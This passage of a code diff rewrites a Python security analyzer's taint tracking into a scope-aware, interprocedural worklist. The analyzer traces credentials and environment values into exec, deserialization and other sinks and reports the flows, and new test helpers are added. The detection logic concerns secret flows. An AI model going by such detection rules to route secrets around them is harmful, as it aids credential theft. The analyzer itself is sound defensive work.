tick: Callable[[], None]) -> None: + """Merge class redefinitions, link in-file bases, and group callees.""" + for class_def in index.class_defs: + tick() + cls = index.class_of_key.get(class_def.key) + if cls is None: + cls = _Class(len(index.classes)) + index.classes.append(cls) + index.class_of_key[class_def.key] = cls + cls.defs.append(class_def) + class_def.cls = cls + for cls in index.classes: + linked = {cls.id} + for class_def in cls.defs: + for base in class_def.node.bases: + tick() + if isinstance(base, ast.Subscript): # Base[T] + base = base.value + if not isinstance(base, ast.Name): + continue + parent = index.class_of_key.get(index.name_key.get(base, -1)) + if parent is not None and parent.id not in linked: + linked.add(parent.id) + cls.bases.append(parent) + for function in index.functions: + tick() + node = function.node + if node.args.kwarg is not None: + index.kwarg_params.add(index.key(function.scope, node.args.kwarg.arg)) + if isinstance(node, ast.Lambda): + continue + parent = function.scope.parent + if parent is None or parent.class_def is None or parent.class_def.cls is None: + index.function_group(function.key).add(function) + continue + # A method is reached through its class, never by its bare name. + cls = parent.class_def.cls + kind = _method_kind(node) + function.kind = kind + index.method_group(cls, node.name, kind).add(function) + positional = [*node.args.posonlyargs, *node.args.args] + if kind != "static" and positional: + receiver_key = index.key(function.scope, positional[0].arg) + index.receivers[receiver_key] = (cls, kind == "class") + for target, lambda_node in index.lambda_bindings: + tick() + function = index.lambdas.get(lambda_node) + key = index.name_key.get(target) + if function is not None and key is not None: + index.bind_name(key, index.lambda_group(lambda_node, function)) + index.finish_groups() def _mark_targets( - targets: list[ast.expr], - tainted: dict[str, _TaintedVar], - src_name: str, - lineno: int, -) -> list[str]: - """Taint each assignment target name that is not tainted yet. - - Add-only: an existing entry is never overwritten, so taint can only grow. - Returns the names newly added, for the worklist to propagate from. + graph: _TaintGraph, + targets: Sequence[int], + kind: int, + line: int, + fact: _Fact, + bound: int, + lanes: int = _ALL_LANES, +) -> list[tuple[int, int, int]]: + """Give each target *fact*, in each of *lanes*, where it outranks what it holds. + + Monotone: a target's fact in a lane is only ever replaced by a strictly + more severe source for that lane (never in lane 2, where every source + ranks the same and the first to arrive stays), so each key changes at + most three times per lane and slot, and the worklist terminates. A key + has two slots: ordinary facts, and facts bound from a call site into a + function's parameters (``bound``). A bound fact stays bound in function + locals; module, class and attribute state turns it into an ordinary + fact. Returns the (key, slot, changed lanes) triples to propagate from. """ - newly_tainted: list[str] = [] - names: list[str] = [] - for target in targets: - if isinstance(target, ast.Name): - names.append(target.id) - elif isinstance(target, ast.Tuple): - names.extend(elt.id for elt in target.elts if isinstance(elt, ast.Name)) - for name in names: - if name not in tainted: - tainted[name] = _TaintedVar(name, src_name, lineno) - newly_tainted.append(name) - return newly_tainted - - -def _referenced_names(node: ast.expr) -> list[str]: - """Return the distinct variable names (``ast.Name`` ids) referenced in *node*. - - Mirrors the Name-only domain of taint propagation: a propagating assignment - becomes tainted when any name its value reads is tainted. Handles container - literals (dict, list, tuple, set) and f-strings because ``ast.walk`` reaches - the ``Name`` nodes nested inside them (e.g. ``payload = {"key": secret}``). + source, fact_line = fact + if kind != _PASS: + fact_line = line + if kind == _BIND: + bound = 1 + new_fact = (source, fact_line) + ranks = _LANE_RANKS[source] + local = graph.index.local + facts = graph.facts + ordinary = facts[0] + tick = graph.tick + changed: list[tuple[int, int, int]] = [] + for position, target in enumerate(targets): + if position and not position & 1023: + tick() + slot = 1 if bound and local[target] else 0 + held = facts[slot] + mask = 0 + for lane in _LANES: + if not lanes >> lane & 1: + continue + rank = ranks[lane] + current = ordinary[lane].get(target) + if current is not None and _LANE_RANKS[current[0]][lane] >= rank: + continue + if slot: + current = held[lane].get(target) + if current is not None and _LANE_RANKS[current[0]][lane] >= rank: + continue + held[lane][target] = new_fact + mask |= 1 << lane + if mask: + changed.append((target, slot, mask)) + return changed + + +class _TaintGraph: + """Scope-aware taint, independent of AST visit order. + + Taint is reachability in a flow graph over keys, computed with a monotone + worklist that fires each flow at most once per (lane, source rank, slot): + at most 14 times whatever the number of sources (three ranks in lanes 0 + and 1, one in lane 2, two slots each). + + * Phase A replays exactly the assignment flows earlier releases used + (``x = `` reads every name in ```` outside source calls), + in the same order, plus a class body's read of the module global under + a name the class also binds (earlier releases had one name for both). + In lane 2, which keeps the first source to arrive, a key that earlier + releases tainted the same way holds the source and line they cite. + Their fact differs only where it came from a same-named variable in + another scope, a name clash this scoping removes. + * Phase B adds what scoping makes precise: arguments of direct in-file + calls bind into parameters (as bound facts), parameter defaults, + return summaries read by callers, and ``self.x`` / ``cls.x`` attributes. + Phase B never replaces a fact by one of equal rank, so it only fills + keys phase A left clean or upgrades lane 0 or 1 to a more severe + source; lane 2 is never replaced. + + At a sink, the sink's ranked lane decides the rule, and the message cites + the lane 2 fact whenever that gives the same rule (``cited``). Variables + phase A tainted are cited before those only phase B taints. A more + severe source therefore changes a finding's message only where it + changes the rule (and, at that sink, a weaker finding may be subsumed or + cite another variable). + + A callee's return summary carries only facts that do not depend on its + parameters: bound facts never enter it. What a call returns from its + own arguments is read at that call site, from those arguments (every + call's value includes its arguments, as before), so one caller's secret + cannot taint another caller's result, also through closures and lambdas. """ - seen: set[str] = set() - names: list[str] = [] - for child in ast.walk(node): - if isinstance(child, ast.Name) and child.id not in seen: - seen.add(child.id) - names.append(child.id) - return names + + def __init__( + self, + index: _ScopeIndex, + type_map: dict[str, str], + aliases: dict[str, str], + check_runtime: Callable[[], None] | None = None, + ) -> None: + self.index = index + self.type_map = type_map + self.aliases = aliases + self.tick = check_runtime or _noop + # facts[slot][lane]: key -> fact; slot 1 holds facts bound from a call site. + self.facts: tuple[tuple[dict[int, _Fact], ...], ...] = ( + ({}, {}, {}), + ({}, {}, {}), + ) + # Each flow's (targets, kind, line), keyed by its index (a stable id). + # ``prop_a`` / ``prop_b`` map a key read by a phase A / B flow to its ids. + self.flows: list[tuple[tuple[int, ...], int, int]] = [] + self.prop_a: dict[int, list[int]] = {} + self.prop_b: dict[int, list[int]] = {} + self.worklist: deque[tuple[int, int, int]] = deque() + self.seeds: list[tuple[tuple[int, ...], int, int, _Fact, int]] = [] + # Per flow, one bit per (lane, source rank, slot) it has already propagated. + self.fired: list[int] = [] + self.returns: dict[int, int] = {} # group id -> return summary key + # Keys phase A tainted: sinks cite these first (``main``'s flows). + self.phase_a_keys: frozenset[int] = frozenset() + self._values: dict[ast.Call, int] = {} + self._class_links: set[tuple[int, str]] = set() + + # ── building ── + + def add_flow( + self, reads: Iterable[int], targets: Sequence[int], kind: int, line: int, phase_a: bool + ) -> None: + if not targets: + return + keys = list(dict.fromkeys(reads)) + if not keys: + return + flow_id = len(self.flows) + self.flows.append((tuple(targets), kind, line)) + table = self.prop_a if phase_a else self.prop_b + for key in keys: + table.setdefault(key, []).append(flow_id) + + def seed( + self, targets: Sequence[int], kind: int, line: int, sources: list[tuple[str, int]] + ) -> None: + """Queue phase B sources for *targets* (applied after phase A).""" + if targets: + for source, lanes in sources: + fact = (_SOURCE_INDEX[source], line) + self.seeds.append((tuple(targets), kind, line, fact, lanes)) + + def ret_key(self, group: _Group) -> int: + key = self.returns.get(group.id) + if key is None: + key = self.index.synthetic(("return", group.id), False) + self.returns[group.id] = key + return key + + def value_key(self, call: ast.Call, root: _Scope) -> int | None: + """Key of an in-file call's value, for an enclosing call's arguments. + + Reading a nested in-file call through its own value key walks each + argument once, however deeply such calls nest. + """ + if self.index.call_targets(call, self.tick) is _NO_TARGETS: + return None + key = self._values.get(call) + if key is None: + key = self.index.synthetic(("value", id(call)), root.in_function) + self._values[call] = key + return key + + def scan( + self, node: ast.AST, root: _Scope, nested_values: bool, opaque_lambdas: bool = False + ) -> tuple[list[int], list[int], list[tuple[str, int]]]: + """Walk an expression once: (names read, other keys read, sources). + + Names are the reads earlier releases used. Other keys are the return + summaries of in-file calls and ``self.x`` attributes. With + *nested_values*, an in-file call is read through its value key and not + walked. With *opaque_lambdas* a lambda is not walked: a default holds + the function object, and each lambda's own defaults are scanned once, + for that lambda; only the body of an immediately called lambda, whose + value the default holds, is walked. A source call is not walked + either: its value is what it reads, not its arguments. Sources, each + with the lanes it is for: in lanes 0 and 1 the most severe source + call (the first in walk order among equals), in lane 2 the first + source call in walk order (the one earlier releases took); or an + ``os.environ[...]`` subscript as the whole expression. + """ + index = self.index + name_key = index.name_key + class_reads = index.class_read_views + tick = self.tick + names: dict[int, None] = {} + others: dict[int, None] = {} + best: list[str | None] = [None, None, None] + best_rank = [-1, -1, -1] + queue: deque[ast.AST] = deque([node]) + while queue: + tick() + child = queue.popleft() + if isinstance(child, ast.Name): + key = class_reads.get(child) + if key is None: + key = name_key.get(child) + if key is not None and index.visible(key, root): + names[key] = None + continue + if isinstance(child, ast.Call): + if nested_values: + value = self.value_key(child, root) + if value is not None: + others[value] = None + continue + source = _call_source(child, self.type_map, self.aliases) + if source is not None: + ranks = _LANE_RANKS[_SOURCE_INDEX[source]] + for lane in _LANES: + if ranks[lane] > best_rank[lane]: + best[lane], best_rank[lane] = source, ranks[lane] + # The call's value is what it reads (a file, a response, + # an environment value), not its own arguments. + continue + for group in index.call_targets(child, tick).results: + others[self.ret_key(group)] = None + if opaque_lambdas and isinstance(child.func, ast.Lambda): + # An immediately called lambda yields its body's value. + queue.append(child.func.body) + elif isinstance(child, ast.Attribute): + view = index.attribute_view(child) + if view is not None: + others[view] = None + elif opaque_lambdas and isinstance(child, ast.Lambda): + continue + for grandchild in ast.iter_child_nodes(child): + if not isinstance(grandchild, ast.expr_context): + queue.append(grandchild) + if best[0] is None: + best = [_credential_subscript(node, self.aliases)] * len(_LANES) + lanes_of: dict[str, int] = {} + for lane, source in enumerate(best): + if source is not None: + lanes_of[source] = lanes_of.get(source, 0) | 1 << lane + return list(names), list(others), list(lanes_of.items()) + + def assign(self, node: ast.Assign, scope: _Scope) -> None: + index = self.index + names, others, sources = self.scan(node.value, scope, False) + # Phase A targets are the ones earlier releases tainted: names and + # tuples of names. ``self.x`` / ``cls.x`` targets are phase B. + plain: list[int] = [] + attributes: list[int] = [] + for target in node.targets: + elements = target.elts if isinstance(target, ast.Tuple) else [target] + for element in elements: + if isinstance(element, ast.Name): + plain.append(index.name_key[element]) + if scope.kind == _CLASS: + self.class_attribute(scope, element.id, index.name_key[element]) + elif isinstance(element, ast.Attribute): + store = index.attribute_store(element) + if store is not None: + attributes.append(store) + line = node.lineno + if sources: + # A direct source seeds its targets in phase A, as before; a more + # severe source among the names it reads may still upgrade them. + for source, lanes in sources: + fact = (_SOURCE_INDEX[source], line) + self.worklist.extend(_mark_targets(self, plain, _ASSIGN, line, fact, 0, lanes)) + self.seed(attributes, _ASSIGN, line, sources) + self.add_flow([*names, *others], [*plain, *attributes], _ASSIGN, line, False) + else: + self.add_flow(names, plain, _ASSIGN, line, True) + self.add_flow(others, plain, _ASSIGN, line, False) + self.add_flow([*names, *others], attributes, _ASSIGN, line, False) + + def class_attribute(self, scope: _Scope, name: str, key: int) -> None: + """A name assigned in a class body is also the class's attribute.""" + class_def = scope.class_def + if class_def is None or class_def.cls is None: + return + link = (scope.id, name) + if link in self._class_links: + return + self._class_links.add(link) + store = self.index.class_body_store(class_def.cls, name) + self.add_flow((key,), (store,), _PASS, 0, False) + + def returned(self, value: ast.expr, scope: _Scope, line: int) -> None: + function = scope.function + if function is None or function.group is None: + return + targets = (self.ret_key(function.group),) + names, others, sources = self.scan(value, scope, False) + self.seed(targets, _RETURN, line, sources) + self.add_flow([*names, *others], targets, _RETURN, line, False) + + def call(self, node: ast.Call, scope: _Scope) -> None: + targets = self.index.call_targets(node, self.tick) + value = self._values.get(node) + if not targets.members and value is None: + return + parts = [arg.value if isinstance(arg, ast.Starred) else arg for arg in node.args] + parts.extend(keyword.value for keyword in node.keywords) + scans = [self.scan(part, scope, True) for part in parts] + line = node.lineno + if value is not None: + reads: list[int] = [] + for names, others, sources in scans: + reads.extend(names) + reads.extend(others) + self.seed((value,), _ASSIGN, line, sources) + reads.extend(self.ret_key(group) for group in targets.results) + self.add_flow(reads, (value,), _ASSIGN, line, False) + if targets.members: + self.bind_arguments(node, targets.members, scans, line) + + def bind_arguments( + self, + node: ast.Call, + members: tuple[tuple[_Group, int], ...], + scans: list[tuple[list[int], list[int], list[tuple[str, int]]]], + line: int, + ) -> None: + """Bind a call's arguments into each callee's slots. + + Positional arguments bind by parameter index (the receiver *offset* + added); from the first ``*args`` on they share a wildcard slot keyed + by the parameter index it starts at, and arguments at index + ``_MAX_POSITIONAL_SLOTS`` or beyond share the last one. ``**mapping`` + binds a wildcard keyed by the offset, so an implicit ``self`` / ``cls`` + is never filled by an unpacking. A forwarded ``**kwargs`` (a function's + own ``**`` parameter) binds nothing, as on ``main``: which names it + holds is not tracked, so no parameter can be chosen for it. Every + other argument costs one slot per callee, whatever its shape. + """ + slots: list[list[int]] = [] + starred_at = -1 + for position, arg in enumerate(node.args): + self.tick() + if starred_at < 0 and isinstance(arg, ast.Starred): + starred_at = position + keys: list[int] = [] + for group, offset in members: + slot: object + if starred_at >= 0: + slot = ("*", min(starred_at + offset, _MAX_POSITIONAL_SLOTS)) + elif position + offset >= _MAX_POSITIONAL_SLOTS: + slot = ("*", _MAX_POSITIONAL_SLOTS) + else: + slot = position + offset + keys.append(self.slot(group, slot)) + slots.append(keys) + for keyword in node.keywords: + self.tick() + keys = [] + if keyword.arg is None and self.forwards_kwargs(keyword.value): + slots.append(keys) + continue + for group, offset in members: + if keyword.arg is None: + keys.append(self.slot(group, ("**", offset))) + continue + named, kwarg_named = group.signature() + if keyword.arg in named: + keys.append(self.slot(group, ("kw", keyword.arg))) + if kwarg_named is not None and keyword.arg not in kwarg_named: + keys.append(self.slot(group, "kw*")) + slots.append(keys) + for keys, (names, others, sources) in zip(slots, scans, strict=True): + self.seed(keys, _BIND, line, sources) + self.add_flow([*names, *others], keys, _BIND, line, False) + + def forwards_kwargs(self, value: ast.expr) -> bool: + """Whether ``**value`` forwards a function's own ``**kwargs`` parameter.""" + return isinstance(value, ast.Name) and self.index.name_key.get(value) in ( + self.index.kwarg_params + ) + + def slot(self, group: _Group, slot: object) -> int: + key = group.slots.get(slot) + if key is None: + key = self.index.synthetic(("slot", group.id, slot), True) + group.slots[slot] = key + return key + + def defaults(self, function: _Function) -> None: + args = function.node.args + defining = function.scope.parent or self.index.module + positional = [*args.posonlyargs, *args.args] + defaulted = positional[len(positional) - len(args.defaults) :] + pairs: list[tuple[ast.arg, ast.expr]] = list(zip(defaulted, args.defaults, strict=True)) + for arg, default in zip(args.kwonlyargs, args.kw_defaults, strict=True): + if default is not None: + pairs.append((arg, default)) + for arg, default in pairs: + self.tick() + target = (self.index.key(function.scope, arg.arg),) + names, others, sources = self.scan(default, defining, False, opaque_lambdas=True) + self.seed(target, _ASSIGN, default.lineno, sources) + self.add_flow([*names, *others], target, _ASSIGN, default.lineno, False) + + def link_callees(self) -> None: + """Flow each callee's argument slots into the parameters they bind. + + Parameter *i* reads positional slot *i*, the ``*args`` wildcards that + start at or before *i*, its keyword slot and the ``**mapping`` + wildcards whose receiver offset is at most *i* (keywords and mappings + never reach positional-only parameters). A ``**kwargs`` parameter + reads the keywords no named parameter takes and the ``**mapping`` + wildcards. + """ + index = self.index + for group in index.groups: + if not group.slots: + continue + slots = group.slots + stars = [ + (start, slots[("*", start)]) + for start in range(_MAX_POSITIONAL_SLOTS + 1) + if ("*", start) in slots + ] + mappings = [ + (offset, slots[("**", offset)]) for offset in (0, 1) if ("**", offset) in slots + ] + rest = slots.get("kw*") + for function in group.functions: + self.tick() + args = function.node.args + scope = function.scope + positional = [*args.posonlyargs, *args.args] + posonly = len(args.posonlyargs) + for position, arg in enumerate(positional): + reads = [slots.get(position)] + reads.extend(key for start, key in stars if start <= position) + if position >= posonly: + reads.append(slots.get(("kw", arg.arg))) + reads.extend(key for offset, key in mappings if offset <= position) + self.bind_parameter(reads, index.key(scope, arg.arg)) + for arg in args.kwonlyargs: + reads = [slots.get(("kw", arg.arg)), *(key for _, key in mappings)] + self.bind_parameter(reads, index.key(scope, arg.arg)) + if args.vararg is not None: + reads = [key for _, key in stars] + reads.extend( + slots.get(i) for i in range(len(positional), _MAX_POSITIONAL_SLOTS) + ) + self.bind_parameter(reads, index.key(scope, args.vararg.arg)) + if args.kwarg is not None: + reads = [rest, *(key for _, key in mappings)] + self.bind_parameter(reads, index.key(scope, args.kwarg.arg)) + + def bind_parameter(self, reads: list[int | None], target: int) -> None: + self.add_flow([key for key in reads if key is not None], (target,), _PASS, 0, False) + + def link_attributes(self) -> None: + """A ``self.x`` read sees ``self.x`` stores in its class and in-file + bases, and the class-body ``x`` of the nearest of them whose body + binds ``x`` in any way (an assignment, annotated assignment, method, + import, ...); only an assignment's value is modelled.""" + index = self.index + ids = index._ids + for node in index.attributes: + self.tick() + index.attribute_view(node) + for cls, attr, view in index.view_list: + self.tick() + reads = [] + shadowed = False + for owner in index.ancestors(cls, self.tick): + store = ids.get(("store", owner.id, attr)) + if store is not None: + reads.append(store) + if not shadowed: + body = ids.get(("class", owner.id, attr)) + if body is not None: + reads.append(body) + shadowed = True + elif attr in owner.body_names(): + shadowed = True # bound without a modelled value + self.add_flow(reads, (view,), _PASS, 0, False) + + def build(self) -> None: + index = self.index + for view, class_key, module_key in index.class_reads: + self.tick() + self.add_flow((module_key,), (view,), _PASS, 0, True) + self.add_flow((class_key,), (view,), _PASS, 0, True) + for node, scope in index.statements: + self.tick() + if isinstance(node, ast.Assign): + self.assign(node, scope) + elif isinstance(node, ast.Return): + if node.value is not None: + self.returned(node.value, scope, node.lineno) + elif isinstance(node, ast.Call): + self.call(node, scope) + for function in index.functions: + self.tick() + self.defaults(function) + self.link_attributes() + self.link_callees() + + # ── fixpoint ── + + def run(self) -> None: + self.build() + self.propagate() + + def propagate(self) -> None: + # Phase A: the assignment flows earlier releases propagated, in order. + self.drain(self.worklist, (self.prop_a,)) + self.phase_a_keys = frozenset(self.facts[0][_FIRST_LANE]) + # Phase B: every flow. Phase A facts are read again through the new + # flows (each phase A flow already fired for them and is skipped). + worklist: deque[tuple[int, int, int]] = deque( + (key, 0, _ALL_LANES) for key in self.facts[0][_FIRST_LANE] + ) + for targets, kind, line, fact, lanes in self.seeds: + self.tick() + worklist.extend(_mark_targets(self, targets, kind, line, fact, 0, lanes)) + self.drain(worklist, (self.prop_a, self.prop_b)) + + def drain( + self, worklist: deque[tuple[int, int, int]], tables: tuple[dict[int, list[int]], ...] + ) -> None: + flows = self.flows + fired = self.fired + if len(fired) < len(flows): + fired.extend([0] * (len(flows) - len(fired))) + facts = self.facts + while worklist: + self.tick() + key, slot, lanes = worklist.popleft() + held = facts[slot] + # Lanes holding the same fact propagate it together. + carried: list[list] = [] + for lane in _LANES: + if lanes >> lane & 1: + fact = held[lane].get(key) + if fact is None: + continue + for entry in carried: + if entry[0] is fact: + entry[1] |= 1 << lane + break + else: + carried.append([fact, 1 << lane]) + for fact, fact_lanes in carried: + ranks = _LANE_RANKS[fact[0]] + # One bit per (lane, rank, slot): 14 bits per flow. + want = 0 + for lane in _LANES: + if fact_lanes >> lane & 1: + want |= 1 << (6 * lane + 2 * ranks[lane] + slot) + for table in tables: + for count, flow_id in enumerate(table.get(key, ())): + if count and not count & 1023: + self.tick() # a key read by very many flows + mark = fired[flow_id] + todo_bits = want & ~mark + if not todo_bits: + # Already propagated a source of this rank: its targets + # hold one at least as severe. Skip to stay linear. + continue + targets, kind, line = flows[flow_id] + if slot and kind == _RETURN: + continue + fired[flow_id] = mark | todo_bits + todo = ( + (1 if todo_bits & 0x3F else 0) + | (2 if todo_bits & 0xFC0 else 0) + | (4 if todo_bits & 0x3000 else 0) + ) + worklist.extend(_mark_targets(self, targets, kind, line, fact, slot, todo)) + + # ── results ── + + def fact(self, key: int, lane: int = 0) -> _Fact | None: + """The most severe fact at *key* for *lane* (an ordinary one on ties).""" + ordinary = self.facts[0][lane].get(key) + bound = self.facts[1][lane].get(key) + if bound is not None and ( + ordinary is None or _LANE_RANKS[bound[0]][lane] > _LANE_RANKS[ordinary[0]][lane] + ): + return bound + return ordinary + + def cited(self, key: int, sink_name: str, lane: int) -> _Fact | None: + """The fact a sink of *lane* reports for *key*. + + The ranked lane gives the most severe rule. The first source to + arrive (lane 2, what earlier releases cite) is reported instead + whenever it gives that same rule, so a more severe source replaces + the cited one only when it changes the rule. + """ + ranked = self.fact(key, lane) + if ranked is None: + return None + first = self.fact(key, _FIRST_LANE) + if first is not None and first is not ranked: + rule = _pick_rule(_SOURCE_NAMES[ranked[0]], sink_name, is_direct=False) + if _pick_rule(_SOURCE_NAMES[first[0]], sink_name, is_direct=False) == rule: + return first + return ranked + + def tainted_names(self) -> dict[str, _TaintedVar]: + """Tainted variables by readable name (module globals keep their bare name).""" + index = self.index + result: dict[str, _TaintedVar] = {} + for key in (*self.facts[0][0], *self.facts[1][0]): + scope = index.key_scope[key] + fact = self.fact(key) + if scope is None or fact is None: + continue + name = index.key_name[key] + if scope.kind == _MODULE: + label = name + elif scope.kind == _CLASS: + label = f"{index.qualname(scope)}.{name}" + else: + label = f"{index.qualname(scope)}..{name}" + result.setdefault(label, _TaintedVar(name, _SOURCE_NAMES[fact[0]], fact[1])) + return result def _collect_tainted( @@ -478,93 +2014,107 @@ def _collect_tainted( aliases: dict[str, str], check_runtime: Callable[[], None] | None = None, ) -> dict[str, _TaintedVar]: - """Record ``Assign``-based taint, independent of AST visit order. - - Any single ordered pass over the tree — breadth-first (``ast.walk``) or - source-order (pre-order) — misses flows where a sink and the assignment - that taints it are visited in the "wrong" relative order for that - traversal. Pre-order in particular loses flows where the sink sits inside - a function, method or loop body defined BEFORE the tainted assignment in - the file: the body is a subtree visited in full before the later sibling - statement, even though the code only runs when called, after the - assignment has already executed. There is no fixed traversal order that - agrees with both "defined before" and "runs after". - - Taint is therefore computed as reachability in the re-assignment graph, - using a monotone worklist: - - * One pass over every ``Assign`` seeds the tainted set from direct sources - (source calls and credential subscripts) and records every propagating - assignment (``b = a``; ``payload = {"k": secret}``) once, keyed by a - stable id, then indexes it by each name its value reads, as - ``referenced_name -> [assignment_id, ...]``. - * The worklist then drains newly tainted names, firing each assignment that - reads a drained name AT MOST ONCE total: the first time any name it reads - becomes tainted, its targets are marked and enqueued; later drains of its - other reading names skip it. Only names not already tainted are enqueued. - - Taint is add-only — an entry is never overwritten or removed — so the set - can only grow and is bounded by the number of assigned names. The loop - therefore cannot oscillate and is guaranteed to terminate. Firing an - assignment a second time is sound to skip: its targets are all tainted - after the first firing, so a later firing could only re-taint names and - add nothing. Each name is dequeued once and each propagating assignment - fires at most once, so the work is linear in the number of assignments - plus references — not quadratic in the longest chain, nor K×K' for a wide - ``a, b, ... = source`` statement read by many tainted names. + """Compute taint for *tree*: readable variable name -> its fact. + + Module globals keep their bare name; function locals read + ``qualname..name``. See ``_TaintGraph`` for the propagation rules. """ - tainted: dict[str, _TaintedVar] = {} - worklist: deque[str] = deque() - # Each propagating assignment, stored once as (targets, lineno) and keyed by - # its index here (a stable id). ``propagators`` maps a name read by an - # assignment's value to the ids of the assignments that read it. - propagating: list[tuple[list[ast.expr], int]] = [] - propagators: dict[str, list[int]] = {} - - for ast_node in ast.walk(tree): - if check_runtime is not None: - check_runtime() - if not isinstance(ast_node, ast.Assign): - continue + index = _build_scope_index(tree, check_runtime) + graph = _TaintGraph(index, type_map, aliases, check_runtime) + graph.run() + return graph.tainted_names() + - src_name = _find_source_in_expr(ast_node.value, type_map, aliases, check_runtime) +# Identifiers longer than this are shortened in messages (``prefix...``), so +# message bytes stay bounded per finding instead of growing with identifier +# length times the number of sinks. Real identifiers are far shorter, so their +# messages are unchanged. +_MAX_NAME_CHARS = 120 - # Subscript sources like os.environ["KEY"] (also os aliased as `o`) - if src_name is None and isinstance(ast_node.value, ast.Subscript): - base = resolve_dotted_name(ast_node.value.value) - if base is not None: - base = apply_import_aliases(base, aliases) - if base and base in _CREDENTIAL_SOURCES: - src_name = base - if src_name is not None: - # Direct source: seed taint for this assignment's targets. - worklist.extend(_mark_targets(ast_node.targets, tainted, src_name, ast_node.lineno)) +def _shorten(name: str) -> str: + return name if len(name) <= _MAX_NAME_CHARS else name[: _MAX_NAME_CHARS - 3] + "..." + + +def _spelling(node: ast.AST) -> str: + """How a sink spells what it reads: ``name``, ``self.x``, ``helper()``, ``self.m()``. + + Built from the sink's own nodes, so a message never copies an identifier + spelled elsewhere in the file, and shortened to a bounded length. + """ + if isinstance(node, ast.Name): + return _shorten(node.id) + if isinstance(node, ast.Attribute) and isinstance(node.value, ast.Name): + return _shorten(f"{_shorten(node.value.id)}.{_shorten(node.attr)}") + if isinstance(node, ast.Call): + func = node.func + if isinstance(func, ast.Name): + return _shorten(f"{_shorten(func.id)}()") + if isinstance(func, ast.Attribute): + value = func.value + if isinstance(value, ast.Name): + return _shorten(f"{_shorten(value.id)}.{_shorten(func.attr)}()") + if isinstance(value, ast.Call) and isinstance(value.func, ast.Name): + return _shorten(f"{_shorten(value.func.id)}().{_shorten(func.attr)}()") + return "()" + + +def _find_tainted_names_in_args( + node: ast.Call, + graph: _TaintGraph, + sink_name: str, + check_runtime: Callable[[], None] | None = None, +) -> list[_TaintedVar]: + """Find tainted variables, ``self.x`` attributes and helper results a sink reads. + + Plain variables that earlier releases' flows taint (phase A) come first, + in ``ast.walk`` order, so a flow earlier releases reported keeps its + message; plain variables only the new flows taint (bound parameters, + helper results) follow, then attributes and in-file call results. Each + is named as the sink spells it, and reported once. + """ + tick = check_runtime or _noop + index = graph.index + class_reads = index.class_read_views + phase_a = graph.phase_a_keys + lane = 1 if sink_name in _EXEC_SINKS or sink_name in _DESERIALIZATION_SINKS else 0 + seen: set[int] = set() + names: list[_TaintedVar] = [] + new_names: list[_TaintedVar] = [] + others: list[_TaintedVar] = [] + for child in ast.walk(node): + tick() + if child is node: + continue + read: ast.Name | None = None + if isinstance(child, ast.Name): + read = child + elif isinstance(child, ast.Subscript) and isinstance(child.value, ast.Name): + read = child.value + reads: list[tuple[int | None, ast.AST, list[_TaintedVar]]] + if read is not None: + key = class_reads.get(read) + if key is None: + key = index.name_key.get(read) + reads = [(key, read, names if key in phase_a else new_names)] + elif isinstance(child, ast.Attribute): + reads = [(index.views.get(child), child, others)] + elif isinstance(child, ast.Call): + reads = [ + (graph.returns.get(group.id), child, others) + for group in index.call_targets(child, tick).results + ] else: - # Propagating assignment: record it once under a stable id and index - # that id by each name its value reads, so it can fire later if/when - # one of those names is tainted. - assignment_id = len(propagating) - propagating.append((ast_node.targets, ast_node.lineno)) - for ref in _referenced_names(ast_node.value): - propagators.setdefault(ref, []).append(assignment_id) - - fired: set[int] = set() - while worklist: - if check_runtime is not None: - check_runtime() - name = worklist.popleft() - src_call = tainted[name].source_call - for assignment_id in propagators.get(name, ()): - if assignment_id in fired: - # Already propagated once: its targets are all tainted, so - # firing again marks nothing new. Skip to stay linear. + continue + for key, spelled, out in reads: + if key is None or key in seen: continue - fired.add(assignment_id) - targets, lineno = propagating[assignment_id] - worklist.extend(_mark_targets(targets, tainted, src_call, lineno)) - - return tainted + fact = graph.cited(key, sink_name, lane) + if fact is None: + continue + seen.add(key) + out.append(_TaintedVar(_spelling(spelled), _SOURCE_NAMES[fact[0]], fact[1])) + return names + new_names + others def _analyze_python( @@ -580,9 +2130,10 @@ def _analyze_python( type_map = build_type_map(tree, aliases) lines = python_ast.lines findings: list[AnalyzerFinding] = [] - tainted = _collect_tainted( - tree, type_map, aliases, budget.check_runtime if budget is not None else None - ) + check_runtime = budget.check_runtime if budget is not None else None + index = _build_scope_index(tree, check_runtime) + graph = _TaintGraph(index, type_map, aliases, check_runtime) + graph.run() seen: set[tuple[str, ast.Call]] = set() contexts: dict[int, str] = {} @@ -643,8 +2194,8 @@ def _emit( else: budget.emit(finding) - # `tainted` is fully populated above, independent of traversal order, so - # this pass only needs to check sink call sites against it. + # Taint is fully computed above, independent of traversal order, so this + # pass only needs to check sink call sites against it. for node_index, ast_node in enumerate(ast.walk(tree)): if budget is not None: budget.check_runtime() @@ -663,7 +2214,7 @@ def _emit( ast_node, type_map, aliases, - budget.check_runtime if budget is not None else None, + check_runtime, ): if src_name == "open" and _is_open_for_write(src_node): continue @@ -677,11 +2228,7 @@ def _emit( f"Direct flow: {src_name} ({src_cat}) \u2192 {sink_name} ({sink_cat})", ) - for tv in _find_tainted_names_in_args( - ast_node, - tainted, - budget.check_runtime if budget is not None else None, - ): + for tv in _find_tainted_names_in_args(ast_node, graph, sink_name, check_runtime): rule = _pick_rule(tv.source_call, sink_name, is_direct=False) src_cat = _classify(tv.source_call, _SOURCE_CATEGORIES, "data source") sink_cat = _classify(sink_name, _SINK_CATEGORIES, "data sink") diff --git a/tests/nodes/analyzers/test_behavioral_taint_tracking.py b/tests/nodes/analyzers/test_behavioral_taint_tracking.py index c29041f85..81c506960 100644 --- a/tests/nodes/analyzers/test_behavioral_taint_tracking.py +++ b/tests/nodes/analyzers/test_behavioral_taint_tracking.py @@ -18,7 +18,11 @@ from __future__ import annotations import json +import sys +import textwrap import time +import tracemalloc +import types import pytest @@ -1144,3 +1148,3418 @@ def counting_mark_targets(*args, **kwargs): assert len(sources) == 2 * width assert all(src == "os.getenv" for src in sources.values()) assert elapsed < 1.0 + + +# ── Function scopes and interprocedural flows ───────────────────────── + + +def _code(text: str) -> str: + """Dedent a test module; line 1 is the first line after the opening quotes.""" + return textwrap.dedent(text).lstrip("\n") + + +def _line(code: str, marker: str) -> int: + """1-based line number of the only line containing *marker*.""" + (number,) = [i for i, line in enumerate(code.splitlines(), 1) if marker in line] + return number + + +def _flows(code: str, rule: str = "TT3") -> list: + return [f for f in _run(code) if f.rule_id == rule] + + +def _summary(code: str) -> list[tuple[str, int]]: + return sorted((f.rule_id, f.start_line) for f in _run(code)) + + +def _messages(code: str) -> list[str]: + return [f.message for 